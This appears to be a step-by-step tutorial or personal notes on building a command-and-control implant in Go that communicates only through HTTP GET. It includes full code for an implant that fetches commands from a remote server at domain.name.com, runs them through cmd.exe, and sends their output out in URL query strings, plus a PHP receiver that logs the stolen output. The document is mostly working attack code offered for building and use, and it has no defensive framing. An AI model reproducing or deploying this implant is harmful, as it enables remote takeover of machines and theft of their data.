Build a C2 using Golang that only uses GET method for communication.
Goals:
- Use GET to fetch commands from a remote server.
- Use GET to exfiltrate command output
To keep this simple, we will fetch the command by just sending a get request to https://domain.name.com/GoGet/command.txt.
Go Code:
package main
import (
"fmt"
"io"
"net/http"
)
func main() {
url := "https://domain.name.com/GoGet/command.txt"
resp, err := http.Get(url)
if err != nil {
fmt.Println("Error making GET request:", err)
return
}
defer resp.Body.Close()
body, err := io.ReadAll(resp.Body)
if err != nil {
fmt.Println("Error reading response body:", err)
return
}
command := string(body)
fmt.Println("Received Command:", command)
}
Now that we have the code to receive the command, create a function to run the command that's received.
import "os/exec"
func executeCommand(cmd string) string {
out, err := exec.Command("cmd", "/C", cmd).CombinedOutput()
if err != nil {
return fmt.Sprintf("Error: %s\nOutput: %s", err, string(out))
}
return string(out)
}
executeCommand function receives the command that we take from command.txt and run it using cmd.exe on the machine. This means that our C2 will open a child process "cmd.exe" and run a command using it. Once it's done running, the child process gets killed.
Now that we can get a command and execute it, we will need to take the output of the command and send it to C2 server. To do this, we can use PHP to grab any text that comes after file name.
In this case, our website will have a php file called receiver.php and if we do a get request to "www[]site[]com/GoGet/receiver.php?hello" then the php script will grab 'hello' and enter it inside a file called 'C2_results.txt'
PHP code:
<?php
$logFile = '/data/C2_results.txt';
// Get everything after the '?'
$data = $_SERVER['QUERY_STRING'];
if (!empty($data)) {
// Get Time
$timestamp = date("Y-m-d H:i:s");
$entry = "[$timestamp] $data\n";
file_put_contents($logFile, $entry, FILE_APPEND | LOCK_EX);
}
//Respond with a 200 OK
http_response_code(200);
echo "OK";
?>
![[Pasted image 20250714171450.png]]
![[Pasted image 20250714171517.png]]
Perfect! Lastly, we will add Golang code to grab the output of the command entered and send it to our php file to collect it.
func exfiltrateResult(data string) {
baseURL := "https://domain.name.com/GoGet/receiver.php"
encoded := url.QueryEscape(data)
fullURL := fmt.Sprintf("%s?%s", baseURL, encoded)
resp, err := http.Get(fullURL)
if err != nil {
fmt.Println("Failed to send data:", err)
return
}
defer resp.Body.Close()
fmt.Println("Data sent. Status:", resp.Status)
}
Final Code should look something like this:
package main
import (
"fmt"
"io"
"net/http"
"net/url"
"os/exec"
)
// Get command from your server
func fetchCommand() (string, error) {
commandURL := "https://domain.name.com/GoGet/command.txt"
resp, err := http.Get(commandURL)
if err != nil {
return "", fmt.Errorf("GET request failed: %v", err)
}
defer resp.Body.Close()
body, err := io.ReadAll(resp.Body)
if err != nil {
return "", fmt.Errorf("reading response failed: %v", err)
}
return string(body), nil
}
// Run the command using cmd.exe
func executeCommand(cmd string) string {
out, err := exec.Command("cmd", "/C", cmd).CombinedOutput()
if err != nil {
return fmt.Sprintf("Error: %s\nOutput: %s", err, string(out))
}
return string(out)
}
// Send result using GET to your receiver.php
func exfiltrateResult(data string) {
baseURL := "https://domain.name.com/GoGet/receiver.php"
encoded := url.QueryEscape(data)
fullURL := fmt.Sprintf("%s?%s", baseURL, encoded)
resp, err := http.Get(fullURL)
if err != nil {
fmt.Println("Failed to send data:", err)
return
}
defer resp.Body.Close()
fmt.Println("Data sent. Status:", resp.Status)
}
func main() {
// Fetch command
cmd, err := fetchCommand()
if err != nil {
fmt.Println("Error fetching command:", err)
return
}
fmt.Println("Fetched command:", cmd)
// Execute command
result := executeCommand(cmd)
fmt.Println("Execution result:\n", result)
// Exfiltrate result
exfiltrateResult(result)
}